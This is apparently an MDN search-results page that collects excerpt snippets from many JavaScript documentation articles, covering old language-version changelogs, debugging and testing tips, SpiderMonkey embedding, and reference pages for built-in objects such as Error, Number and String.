... people should always know with whom they are dealing and where the information or software they are downloading came from). You may not imply, either directly or by omission, that your Third Party Client is produced or endorsed by Mozilla. By providing access to the Firefox Sync APIs, Mozilla is not granting you a license to any of our trademarks. Before Starting Before you start learning the
JavaScript API, you should spend some time on http://docs.services.mozilla.com/ reading about how the Sync service operates. This will help fundamental understanding significantly. API Location The Sync
JavaScript client API is defined in files in the services/sync/ directory of mozilla-central or similar repository. Terminology SyncEngine The main Sync client object. It's what starts all the magic. ...
... of a single sync and act as proxies to other data stores within the application (like the places database) outside of Sync. Creating a Custom Engine The Sync client ships with a number of engines out of the box (history, bookmarks, etc). It is possible for other components, including 3rd party extensions, to supplement the set of engines and synchronize their own data. A word of warning: the
JavaScript Client API is still a young component and is continuing to evolve. Therefore, developers outside of the Sync core should know that their code could require significant refactoring in future releases. Before developing against the
JavaScript API, it is recommended to speak to developers of the API. See https://wiki.mozilla.org/Services/Sync for their contact information. To create a custom Sync e...
New in JavaScript 1.1 - Archive of obsolete content
The following is a changelog for
JavaScript from Netscape Navigator 2.0 to 3.0. The old Netscape documentation references this as "Features added after version 1". Netscape Navigator 3.0 was released on August 19, 1996. Netscape Navigator 3.0 was the second major version of the browser with
JavaScript support.
JavaScript versions Netscape Navigator 3.0 also introduced
JavaScript language versions. <SCRIPT LANGUAGE="
JavaScript"> <!--
JavaScript for Navigator 2.0. --> <SCRIPT LANGUAGE="
JavaScript1.1"> <!--
JavaScript for Navigator 3.0. ...
...scape Navigator 3.0 was released on August 19, 1996. Netscape Navigator 3.0 was the second major version of the browser with
JavaScript support.
JavaScript versions Netscape Navigator 3.0 also introduced
JavaScript language versions. <SCRIPT LANGUAGE="
JavaScript"> <!--
JavaScript for Navigator 2.0. --> <SCRIPT LANGUAGE="
JavaScript1.1"> <!--
JavaScript for Navigator 3.0. --> New features in
JavaScript 1.1 New objects Array Boolean Function Number New properties Number.MAX_VALUE Number.MIN_VALUE NaN Number.NEGATIVE_INFINITY Number.POSITIVE_INFINITY New methods Array.prototype.join() Array.prototype.reverse() Array.prototype.sort() Array.prototype.split() New operators typeof void Other new features <noscript> LiveConnect. Communication between Java and JavaSc...
...an Function Number New properties Number.MAX_VALUE Number.MIN_VALUE NaN Number.NEGATIVE_INFINITY Number.POSITIVE_INFINITY New methods Array.prototype.join() Array.prototype.reverse() Array.prototype.sort() Array.prototype.split() New operators typeof void Other new features <noscript> LiveConnect. Communication between Java and
JavaScript. Changed functionality in
JavaScript 1.1 "Object deletion". You can remove an object by setting its object reference to null. constructor and prototype properties on objects added. eval() is now a method of every object (was previously a built-in function); it evaluates a string of
JavaScript code in the context of the specified object. Math.random() now works on every platform. toString(): Added radix parameter, which specif...
New in JavaScript 1.4 - Archive of obsolete content
The following is a changelog for
JavaScript 1.4, which was only used for Netscape's server side
JavaScript released in 1999. The old Netscape documentation can be found on archive.org. ...
... The following is a changelog for
JavaScript 1.4, which was only used for Netscape's server side
JavaScript released in 1999. The old Netscape documentation can be found on archive.org. ...
... The following is a changelog for
JavaScript 1.4, which was only used for Netscape's server side
JavaScript released in 1999. The old Netscape documentation can be found on archive.org. ...
New in JavaScript 1.7 - Archive of obsolete content
The following is a changelog for
JavaScript 1.7. This version was included in Firefox 2 (October 2006).
JavaScript 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. Using
JavaScript 1.7 In order to use some of the new features of
JavaScript 1.7, you need to specify that you wish to use
JavaScript 1.7. ...
... in Firefox 2 (October 2006).
JavaScript 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. Using
JavaScript 1.7 In order to use some of the new features of
JavaScript 1.7, you need to specify that you wish to use
JavaScript 1.7. In HTML or XUL code, use: <script type="application/
javascript;version=1.7"></script> When using the
JavaScript shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); The features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names. The features ...
...70 switch on the command line or using the version() function: version(170); The features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names. The features that do not introduce new keywords (destructuring assignment and array comprehensions) can be used without specifying the
JavaScript version. New features in
JavaScript 1.7 The following features added with
JavaScript 1.7 were not part of an ECMA-262 standard at the time. In more recent Firefox versions, the implementation is updated to work with semantics as specified in ECMAScript Edition 6. Please see the reference pages for differences. Iterators and generators Array comprehensions let statement (support for let exp...
New in JavaScript 1.8 - Archive of obsolete content
The following is a changelog for
JavaScript 1.8. This version was included in Firefox 3 and is part of Gecko 1.9. See bug 380236 for a tracking development bug for
JavaScript 1.8. Using
JavaScript 1.8 In order to use some of the new features of
JavaScript 1.8 in HTML, use: <script type="application/
javascript;version=1.8"> ... your code ... </script> Another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "
JavaScript1.8". When using the
JavaScript shell,
JavaScript XPCOM components, or XUL <script> elements, the latest JS version (JS1.8 in Mozilla 1.9) is used automatically (bug 381031, bug 385159). The features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code ...
...latest JS version (JS1.8 in Mozilla 1.9) is used automatically (bug 381031, bug 385159). The features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code might use those keywords as variable or function names. The features that do not introduce new keywords (such as generator expressions) can be used without specifying the
JavaScript version. New features in
JavaScript 1.8 Expression Closures. Generator expressions. Allowing you to simply create generators (which were introduced in
JavaScript 1.7). Typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement. Array.prototype.reduce() Ar...
... Closures. Generator expressions. Allowing you to simply create generators (which were introduced in
JavaScript 1.7). Typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement. Array.prototype.reduce() Array.prototype.reduceRight() Changed functionality in
JavaScript 1.8 Changes in destructuring for..in One change that occurred in the release of
JavaScript 1.8 was a bug fix related to the key/value destructuring of arrays introduced in
JavaScript 1.7. Previously it was possible to destructure the keys/values of an array by using for ( var [key, value] in array ). However, that made it impossible to destructure the values of an array - that were arrays (i.e.
Describing microformats in JavaScript - Archive of obsolete content
className A string specifying the name of the microformat's class as referenced in HTML (class="className"). required An array indicating the names of any properties that must be specified. This may be left out if all properties are optional. ...
... className A string specifying the name of the microformat's class as referenced in HTML (class="className"). required An array indicating the names of any properties that must be specified. This may be left out if all properties are optional. properties A structure describing the properties of the microformat. ...
... to be contained in the street-address array. The microformat is registered with the microformat API by calling Microformats.add(), like this: Microformats.add("adr", adr_definition); Note: To be clear: since the adr microformat is included by default in Firefox 3 and later, you don't need to add it yourself if you wish to make use of it. See also Using microformats, Parsing microformats in
JavaScript ...
Test your skills: CSS and JavaScript accessibility - Learn web development
Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. CSS accessibility 1 In the first task you are presented with a list of links. However, their accessibility is pretty bad -- there is no way to really tell that they are links, or to tell which one the user is focussed on. ...
...font-size that fix the problem. 3. Update the CSS with these new values to fix the problem. 4. Test the code to make sure the problem is now fixed. Explain what tools or methods you used to select the new values and test the code. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...values to fix the problem. 4. Test the code to make sure the problem is now fixed. Explain what tools or methods you used to select the new values and test the code. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor.
JavaScript accessibility 1 In our final task here, you have some
JavaScripting to do. We have a simple app that presents a list of animal names. Clicking one of the animal names causes a further description of that animal to appear in a box below the list. But it is not very accessible -- in its current state you can only operate it with the mouse. We'd like you to add to the HTML and
JavaScript to make it keyboard acessible too. Download the starting point for this t...
JavaScript building blocks - Learn web development
In this module, we continue our coverage of all
JavaScript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing -- here we'll discuss it all explicitly. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have some familiarity with the basics of HTML and CSS, and you should have also worked through our previous module,
JavaScript first steps. Note: If you are working on a computer/tablet/other device where you don't have the ability to create your own files...
...ls In any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs. For example, in a game, if the player's number of lives is 0, then it's game over. In a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. In this article we'll explore how conditional structures work in
JavaScript. Looping code Sometimes you need a task done more than once in a row. For example, looking through a list of names. In programming, loops perform this job very well. Here we will look at loop structures in
JavaScript. Functions -- reusable blocks of code Another essential concept in coding is functions. Functions allow you to store a piece of code that does a single task inside a defined bloc...
...system tells you about so you can respond to them in some way if desired. For example if the user clicks a button on a webpage, you might want to respond to that action by displaying an information box. In this final article we will discuss some important concepts surrounding events, and look at how they work in browsers. Assessments The following assessment will test your understanding of the
JavaScript basics covered in the guides above. Image gallery Now that we've looked at the fundamental building blocks of
JavaScript, we'll test your knowledge of loops, functions, conditionals and events by building a fairly common item you'll see on a lot of websites -- a
JavaScript-powered image gallery. ...
Debugging JavaScript
This document is intended to help developers writing
JavaScript code in Mozilla, mainly for Mozilla itself, but it may also be useful for web developers. It should give pointers to tools, aids and tricks which make debugging your code easier. Web Console This is the first place to go when you're debugging a web page; open the Web console using the Web Console option in the Web Developer menu. This shows any
JavaScript errors in your app, as well as any logging calls from the console API. Browser Console The Browser Console lets you see all
JavaScript errors and logging in the browser, including from Firefox code. To enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "Enable chrome and add-on debugging" option in the developer tool settings. A...
...onnection set to false in about:config. This can be a security risk, especially if you also set the devtools.debugger.force-local preference to false.) Then, the Browser Toolbox displays the available tools for debugging. (Note that before Firefox 28, only the script debugger was available.) The use of these tools are the same as the Built-in Tools. Strict code checking If you set the pref
javascript.options.strict to true, the
JavaScript engine gives you more types of warnings on the Error Console, most of which hint at code bugs that are easy to oversee or even bad syntax. (The pref also warns on common
JavaScript idioms that are not errors). Console.log in Browser Console You can dump variables in the Browser Console from addon code, by adding this line to import the console utility: co...
...unction allows you to print text on the native console. Use \n to output a newline at the end. To see anything, you need to set the pref browser.dom.window.dump.enabled to true, e.g. in about:config (add new pref, it doesn't exist per default). Under Microsoft Windows you additionally need to start Firefox via the following command to have a native console : firefox.exe -console Using normal
JavaScript object inspection, you can write a function that dumps a whole object, similar to this ddumpObject(). Log.jsm (formerly log4moz) This is a partial implementation of the Log4* interfaces (for example, see log4j or log4net). Components.utils.import("resource://gre/modules/Log.jsm"); "debugger" keyword You can halt Venkman or Chromebug at a line using the keyword debugger. In debug builds this ...
Rhino JavaScript compiler
Overview The
JavaScript compiler translates
JavaScript source into Java class files. The resulting Java class files can then be loaded and executed at another time, providing a convenient method for transferring
JavaScript, and for avoiding translation cost. Note that the top-level functions available to the shell (such as print) are not available to compiled scripts when they are run outside the shell. Compiler command line java org.mozilla.
javascript.tools.jsc.Main [options] file1.js [file2.js...] where options are: -extends java-class-name Specifies that a java class extending the Java class java-class-name should be generated from the incoming
JavaScript source file. Each global function in the source file is made a method of the generated class, overriding any methods in the base...
...Each global function in the source file is made a method of the generated class, implementing any methods in the interface by the same name. -debug -g Specifies that debug information should be generated. May not be combined with optimization at an optLevel greater than zero. ...
...ptLevel is greater than zero, -debug may not be specified. -package packageName Specifies the package to generate the class into. The string packageName must be composed of valid identifier characters optionally separated by periods. -version versionNumber Specifies the language version to compile with. The string versionNumber must be one of 100, 110, 120, 130, 140, 150, 160, or 170. See
JavaScript Language Versions for more information on language versions. Examples $ cat test.js java.lang.System.out.println("hi, mom!"); $ java org.mozilla.
javascript.tools.jsc.Main test.js $ ls *.class test.class $ java test hi, mom! $ java org.mozilla.
javascript.tools.jsc.Main -extends java.applet.Applet -implements java.lang.Runnable NervousText.js --Norrisboyd 12:26, 13 June 2007 (PDT) ...
Creating JavaScript tests
In which test suite does your new test belong? jit-tests are intended to test the implementation of the JIT. Only add tests to these suites which test jit correctness or functionality. jstests is intended for tests of language-visible functionality. Please put tests of functionality into jstests even if related tests are in jit-tests, since jstests are closer to (and more easily converted to) test262 tests. ...
...e]) Check that v1 and v2 are the same value. If they're not, throw an exception (which will cause the test to fail). If you are writing a jstests, additional testing functionality is provided for you in shell.js files. You can read about them here. Performance testing and general advice Do not attempt to test the performance of engine features in the test suite. Please keep in mind that the
JavaScript test suite is run on a wide variety of wildly varying hardware plaforms, from phones all the way up to servers. Even tests that check for polynomial time complexity will start to fail in a few years when they have sped up enough to run faster than the granularity of the OS scheduler or when run on platforms with higher latencies than your development workstation. These tests will also show up as ...
...e is basically no cost to adding a new test, so add as many feature tests as needed to cover each feature orthogonally. Remember that whenever a test fails, someone -- probably you -- is going to have to figure out what went wrong. Testing your test Run your new test locally before checking it in (or posting it for review). Nobody likes patches that include failing tests! See Running Automated
Javascript Tests for instructions on how to run jstests or jit-tests. It's also a good sanity check to run each new test against an unpatched shell or browser. The test should fail if it's working properly. Checking in completed tests Tests are usually reviewed and pushed just like any other code change. Just include the test in your patch. Security-sensitive tests should not be committed until the corr...
How to embed the JavaScript engine
See the instructions for building and running the sample below the code. The code differs for each SpiderMonkey version, please choose right version for your SpiderMonkey. ...
...SpiderMonkey js\src directory. To get a copy of the code sample without line numbers, hover over the sample near the top until buttons appear. Then click the view source button, and copy the code from the window that appears. Compile the helloworld application and link to the SpiderMonkey library. Run the helloworld executable at the command line: ./helloworld How to call C functions from
JavaScript Say the C function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the JS engine should ensure that undefined is passed for the missing ones): #define DOIT_MINARGS 2 // [SpiderMonkey 24] Use JSBool instead of bool. static bool doit(JSContext *cx, unsigned argc, jsval *vp) { JS::CallArgs args = CallArgsFromVp(argc, vp); /* * Look ...
...u could write: ok = JS_DefineFunction(cx, global, "doit", doit, DOIT_MINARGS, 0); Or, if you had a bunch of native functions to define, you would probably put them in a table: static JSFunctionSpec my_functions[] = { JS_FN("doit", doit, DOIT_MINARGS, 0), /* etc... */ JS_FS_END }; JS_FS_END terminates the table. And say: ok = JS_DefineFunctions(cx, global, my_functions); How to call
JavaScript functions from C First, create arguments for the call, here I create arguments with 2 items: // [SpiderMonkey 24] JS::AutoValueArray is not defined. // JS::AutoValueVector argv(cx); // argv.resize(2); JS::AutoValueArray<2> argv(cx); argv[0].setInt32(1); argv[1].setInt32(2); then call the function: // [SpiderMonkey 24] Pass arguments length and the 'jsval *' pointer. // JS_CallFunctionName(cx...
Building a Thunderbird extension 6: Adding JavaScript
Warning: This content is for older versions of Thunderbird. Much of it may no longer be relevant. See developer.thunderbird.net for newer information. In this step we will create a small piece of
JavaScript code that inserts the current date into our statusbar widget. The statusbar is usually displayed at the bottom of the Thunderbird window. Depending on the installed theme the result will look something like this: Modify XUL elements with
JavaScript Save the following
JavaScript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. window.addEventListener("load", function(e) { startup(); }, false); window.setInterval( function() { startup(); }, 60000); //update date every minute function startup() { var myPanel = document.getElementById("my-...
...Day(); var dateString = date.getFullYear() + "." + (date.getMonth()+1) + "." + date.getDate(); myPanel.label = "Date: " + dateString; } The first part registers a new event listener that will be executed automatically when Thunderbird loads. The event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the document's DOM tree. It then uses
JavaScript's Date class to get the current date, which it converts into a string that has the format of YYYY.MM.DD. Because the month is zero-based we also need to add one to the month. Finally the label of our panel is set to "Date: " and concatenated with the date string that contains the formatted date. We use the function window.setInterval to update the date in case Thunderbird is left running for mor...
... left running for more than one day. This allows us to call the startup function repeatedly with an interval of 60000ms (every minute). Further Documentation More functions for the dom objects are listed on: DOM/Window (API reference for the Window object) DOM/Document (API reference for the Document object) Gecko DOM Reference (overview of all DOM objects in Gecko) You may also find the
Javascript Cheat Sheet very useful. << PreviousNext >> ...
Meta programming - JavaScript
Proxies Introduced in ECMAScript 6, Proxy objects allow you to intercept certain operations and to implement custom behaviors. ...
... Proxies Introduced in ECMAScript 6, Proxy objects allow you to intercept certain operations and to implement custom behaviors. ...
...The methods are the same as those of the proxy handlers. Reflect is not a function object. Reflect helps with forwarding default operations from the handler to the target. With Reflect.has() for example, you get the in operator as a function: Reflect.has(Object, 'assign') // true A better apply function In ES5, you typically use the Function.prototype.apply() method to call a f...
Deprecated and obsolete features - JavaScript
Deprecated features These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code. RegExp properties the following properties are deprecated. This does not affect their use in replacement strings: Property Description $1-$9 Parenthesized substring matches, if any. Warning: Using these properties can result in problems, since browser extensions can modify them. Avoid them! $_ See input. $* See multiline. ...
...ch, and String.prototype.replace are deprecated. String.prototype.substr probably won't be removed anytime soon, but it's defined in Annex B of the ECMA-262 standard, whose introduction states: "... Programmers should not use or assume the existence of these features and behaviours when writing new ECMAScript code. ..." Obsolete features These obsolete features have been entirely removed from
JavaScript and can no longer be used as of the indicated version of
JavaScript. Object Property Description __count__ Returns the number of enumerable properties directly on a user-defined object. __parent__ Points to an object's context. Object.prototype.eval() Evaluates a string of
JavaScript code in the context of the specified object. Object.obs...
...y observing changes to Arrays. Array.unobserve() Remove observers. Number Number.toInteger() ParallelArray ParallelArray Statements for each...in is deprecated. Use for...of instead. Destructuring for...in is deprecated. Use for...of instead. let blocks and let expressions are obsolete. E4X See E4X for more information. Sharp variables See Sharp variables in
JavaScript for more information. ...
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
Note that octal literals and octal escape sequences are deprecated and will present an additional deprecation warning. ...
... Note that octal literals and octal escape sequences are deprecated and will present an additional deprecation warning. ...
... Note that octal literals and octal escape sequences are deprecated and will present an additional deprecation warning. With ECMAScript 6 and later, the syntax uses a leading zero followed by a lowercase or uppercase Latin letter "O" (0o or 0O). ...
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
In strict mode, an attempt to delete a variable will throw an error and is not allowed. The delete operator can only delete properties on an object. Object properties are "qualified" if they are configurable. ...
...riables are attempted to be deleted using the delete operator. Message SyntaxError: Calling delete on expression not allowed in strict mode (Edge) SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox) SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome) Error type SyntaxError in strict mode only. What went wrong? Normal variables in
JavaScript can't be deleted using the delete operator. In strict mode, an attempt to delete a variable will throw an error and is not allowed. The delete operator can only delete properties on an object. Object properties are "qualified" if they are configurable. Unlike what common belief suggests, the delete operator has nothing to do with directly freeing memory. Memory management is done indirectly via...
... operator has nothing to do with directly freeing memory. Memory management is done indirectly via breaking references, see the memory management page and the delete operator page for more details. This error only happens in strict mode code. In non-strict code, the operation just returns false. Examples Freeing the contents of a variable Attempting to delete a plain variable, doesn't work in
JavaScript and it throws an error in strict mode: 'use strict'; var x; // ... delete x; // SyntaxError: applying the 'delete' operator to an unqualified name // is deprecated To free the contents of a variable, you can set it to null: 'use strict'; var x; // ... x = null; // x can be garbage collected ...
SyntaxError: unterminated string literal - JavaScript
Escape sequences work in strings created with either single or double quotes. ...
...literal" occurs when there is an unterminated String somewhere. String literals must be enclosed by single (') or double (") quotes. Message SyntaxError: Unterminated string constant (Edge) SyntaxError: unterminated string literal (Firefox) Error type SyntaxError What went wrong? There is an unterminated String somewhere. String literals must be enclosed by single (') or double (") quotes.
JavaScript makes no distinction between single-quoted strings and double-quoted strings. Escape sequences work in strings created with either single or double quotes. To fix this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines. Examples Multiple lines...
...-quoted strings. Escape sequences work in strings created with either single or double quotes. To fix this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines. Examples Multiple lines You can't split a string across multiple lines like this in
JavaScript: var longString = 'This is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // SyntaxError: unterminated string literal Instead, use the + operator, a backslash, or template literals. The + operator variant looks like this: var longString = 'This is a very long string which needs ' + 'to...
Error - JavaScript
Error objects are thrown when runtime errors occur. The Error object can also be used as a base object for user-defined exceptions. See below for standard built-in error types. Description Runtime errors result in new Error objects being created and thrown. Error types Besides the generic Error constructor, there are seven other core error constructors in
JavaScript. For client-side exceptions, see Exception handling statements. EvalError Creates an instance representing an error that occurs regarding the global function eval(). InternalError Creates an instance representing an error that occurs when an internal error in the
JavaScript engine is thrown. E.g. "too much recursion". RangeError Creates an instance representing an error that occurs when a numeric variable or parameter is ou...
...rror object with the intention of raising it using the throw keyword. You can handle the error using the try...catch construct: try { throw new Error('Whoops!') } catch (e) { console.error(e.name + ': ' + e.message) } Handling a specific error You can choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern
JavaScript engines, instanceof keyword: try { foo.bar() } catch (e) { if (e instanceof EvalError) { console.error(e.name + ': ' + e.message) } else if (e instanceof RangeError) { console.error(e.name + ': ' + e.message) } // ... etc } Custom Error Types You might want to define your own error types deriving from Error to be able to throw new MyError() and use instanceof MyError to chec...
...nstanceof RangeError) { console.error(e.name + ': ' + e.message) } // ... etc } Custom Error Types You might want to define your own error types deriving from Error to be able to throw new MyError() and use instanceof MyError to check the kind of error in the exception handler. This results in cleaner and more consistent error handling code. See "What's a good way to extend Error in
JavaScript?" on StackOverflow for an in-depth discussion. ES6 Custom Error Class Versions of Babel prior to 7 can handle CustomError class methods, but only when they are declared with Object.defineProperty(). Otherwise, old versions of Babel and other transpilers will not correctly handle the following code without additional configuration. Some browsers include the CustomError constructor in the sta...
Function.prototype.bind() - JavaScript
se noncompliant deviation details. If it's absolutely necessary and performance is not a concern, a far slower (but more specification-compliant solution) can be found at https://github.com/Raynos/function-bind. Examples Creating a bound function The simplest use of bind() is to make a function that, no matter how it is called, is called with a particular this value. A common mistake for new
JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code). Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem: this.x = 9; // 'this' refers to globa...
... The methods shown below are not the best way to do things, and probably should not be used in any production environment. Bound functions are automatically suitable for use with the new operator to construct new instances created by the target function. When a bound function is used to construct a value, the provided this is igno...
...nceof YAxisPoint; // true new YAxisPoint(17, 42) instanceof Point; // true Note that you need not do anything special to create a bound function for use with new. The corollary is that you need not do anything special to create a bound function to be called plainly, even if you would rather require the bound function to only be called using new. // Example can be run directly in your
JavaScript console // ...continued from above // Can still be called as a normal function // (although usually this is undesired) YAxisPoint(13); `${emptyObj.x},${emptyObj.y}`; // > '0,13' If you wish to support the use of a bound function only using new, or only by calling it, the target function must enforce that restriction. Creating shortcuts bind() is also helpful in cases where you want to c...
JSON.stringify() - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax JSON.stringify(value[, replacer[, space]]) Parameters value The value to convert to a JSON string. ...
...rializing circular references throws "TypeError: cyclic object value" JSON.stringify(circularReference); To serialize circular references you can use a library that supports them (e.g. cycle.js by Douglas Crockford) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values. Issue with plain JSON.stringify for use as
JavaScript Historically, JSON was not a completely strict subset of
JavaScript. The literal code points U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR could appear literally in string literals and property names in JSON text. But they could not appear literally in similar context in
JavaScript text, only using Unicode escapes as \u2028 and \u2029. This recently changed: now both code points may appe...
...etely strict subset of
JavaScript. The literal code points U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR could appear literally in string literals and property names in JSON text. But they could not appear literally in similar context in
JavaScript text, only using Unicode escapes as \u2028 and \u2029. This recently changed: now both code points may appear literally in strings in JSON and
JavaScript both. Therefore, if compatibility with older
JavaScript engines is required, it is perilous to directly substitute the string returned by JSON.stringify into a
JavaScript string to be passed to eval or new Function or as part of a JSONP URL, and the following utility can be used: function jsFriendlyJSONStringify (s) { return JSON.stringify(s). replace(/\u2028/g, '\\u2028'). ...
Math.imul() - JavaScript
n value The result of the C-like 32-bit multiplication of the given arguments. Description Math.imul() allows for 32-bit integer multiplication with C-like semantics. This feature is useful for projects like Emscripten. Because imul() is a static method of Math, you always use it as Math.imul(), rather than as a method of a Math object you created (Math is not a constructor). If you use normal
JavaScript floating point numbers in imul, you will experience a degrade in performance. This is because of the costly conversion from a floating point to an integer for multiplication, and then converting the multiplied integer back into a floating point. The reason imul exists is because it is faster in only one (so far) circumstance: AsmJS. AsmJS allows for JIST-optimizers to more easily implement intern...
... numbers in imul, you will experience a degrade in performance. This is because of the costly conversion from a floating point to an integer for multiplication, and then converting the multiplied integer back into a floating point. The reason imul exists is because it is faster in only one (so far) circumstance: AsmJS. AsmJS allows for JIST-optimizers to more easily implement internal integers in
JavaScript. Multiplying two numbers stored internally as integers (which is only possible with AsmJS) with imul is the only potential circumstance where Math.imul may prove performant in current browsers. Polyfill This can be emulated with the following function: if (!Math.imul) Math.imul = function(a, b) { var aHi = (a >>> 16) & 0xffff; var aLo = a & 0xffff; var bHi = (b >>> 16) & 0xffff; var b...
... if (!Math.imul) Math.imul = function(opA, opB) { opB |= 0; // ensure that opB is an integer. opA will automatically be coerced. // floating points give us 53 bits of precision to work with plus 1 sign bit // automatically handled for our convienence: // 1. 0x003fffff /*opA & 0x000fffff*/ * 0x7fffffff /*opB*/ = 0x1fffff7fc00001 // 0x1ff...
Number - JavaScript
Number is a primitive wrapper object used to represent and manipulate numbers like 37 or -9.25. The Number constructor contains constants and methods for working with numbers. Values of other types can be converted to numbers using the Number() function. The
JavaScript Number type is a double-precision 64-bit binary format IEEE 754 value, like double in Java or C#. This means it can represent fractional values, but there are some limits to what it can store. A Number only keeps about 17 decimal places of precision; arithmetic is subject to rounding. The largest value a Number can hold is about 1.8x10308. Numbers beyond that are replaced with the special Number constant Infinity. A number literal like 37 in
JavaScript code is a floating-point value, not an integer. There is no separate intege...
...imits to what it can store. A Number only keeps about 17 decimal places of precision; arithmetic is subject to rounding. The largest value a Number can hold is about 1.8x10308. Numbers beyond that are replaced with the special Number constant Infinity. A number literal like 37 in
JavaScript code is a floating-point value, not an integer. There is no separate integer type in common everyday use. (
JavaScript now has a BigInt type, but it was not designed to replace Number for everyday uses. 37 is still a Number, not a BigInt.) Number may also be expressed in literal forms like 0b101, 0o13, 0x0A. Learn more on numeric lexical grammar here. Description When used as a function, Number(value) converts a string or other value to the Number type. If the value can't be converted, it returns NaN. Lite...
... twenty-three 123.0 // same 123 === 123.0 // true Function syntax Number('123') // returns the number 123 Number('123') === 123 // true Number("unicorn") // NaN Number(undefined) // NaN Constructor Number() Creates a new Number value. Static properties Number.EPSILON The smallest interval between two representable numbers. Number.MAX_SAFE_INTEGER The maximum safe integer in
JavaScript (253 - 1). Number.MAX_VALUE The largest positive representable number. Number.MIN_SAFE_INTEGER The minimum safe integer in
JavaScript (-(253 - 1)). Number.MIN_VALUE The smallest positive representable number--that is, the positive number closest to zero (without actually being zero). Number.NaN Special "Not a Number" value. Number.NEGATIVE_INFINITY Special value representing negative in...
Object.prototype.toString() - JavaScript
n an object is referred to in a manner in which a string is expected. By default, the toString() method is inherited by every object descended from Object. If this method is not overridden in a custom object, toString() returns "[object type]", where type is the object type. The following code illustrates this: const o = new Object(); o.toString(); // returns [object Object] Note: Starting in
JavaScript 1.8.5, toString() called on null returns [object Null], and undefined returns [object Undefined], as defined in the 5th Edition of ECMAScript and subsequent Errata. See Using toString() to detect object class. Parameters For Numbers and BigInts toString() takes an optional parameter radix the value of radix must be minimum 2 and maximum 36. By using radix you can also convert base 10 numbe...
... To use the Object.prototype.toString() with every object, you need to call Function.prototype.call() or Function.prototype.apply() on it, passing...
...Object.prototype.toString() with every object, you need to call Function.prototype.call() or Function.prototype.apply() on it, passing the object you want to inspect as the first parameter (called thisArg). const toString = Object.prototype.toString; toString.call(new Date); // [object Date] toString.call(new String); // [object String] toString.call(Math); // [object Math] // Since
JavaScript 1.8.5 toString.call(undefined); // [object Undefined] toString.call(null); // [object Null] Using toString() in this way is unreliable; objects can change the behavior of Object.prototype.toString() by defining a Symbol.toStringTag property, leading to unexpected results. For example: const myDate = new Date(); Object.prototype.toString.call(myDate); // [object Date] myDate[Symbo...
Object - JavaScript
overridden). However, an Object may be deliberately created for which this is not true (e.g. by Object.create(null)), or it may be altered so that this is no longer true (e.g. with Object.setPrototypeOf). ...
...overridden). However, an Object may be deliberately created for which this is not true (e.g. by Object.create(null)), or it may be altered so that this is no longer true (e.g. with Object.setPrototypeOf). ...
...op-value')) { return this['-prop-value']; } else { // It doesn't look like one of my objects, so let's fall back on // the default behavior by reproducing the current behavior as best we can. // The apply behaves like "super" in some other languages. // Even though valueOf() doesn't take arguments, some other hook may. return current.apply(this, arguments); } } Since
JavaScript doesn't exactly have sub-class objects, prototype is a useful workaround to make a "base class" object of certain functions that act as objects. For example: var Person = function(name) { this.name = name; this.canTalk = true; }; Person.prototype.greet = function() { if (this.canTalk) { console.log('Hi, I am ' + this.name); } }; var Employee = function(name, title) { Person.call(...
String - JavaScript
aracters correspond to a numerical index: return 'cat'[1] // returns "a" When using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See Object.defineProperty() for more information.) Comparing strings In C, the strcmp() function is used for comparing strings. In
JavaScript, you just use the less-than and greater-than operators: let a = 'a' let b = 'b' if (a < b) { // true console.log(a + ' is less than ' + b) } else if (a > b) { console.log(a + ' is greater than ' + b) } else { console.log(a + ' and ' + b + ' are equal.') } A similar result can be achieved using the localeCompare() method inherited by String instances. Note that a == b compares the string...
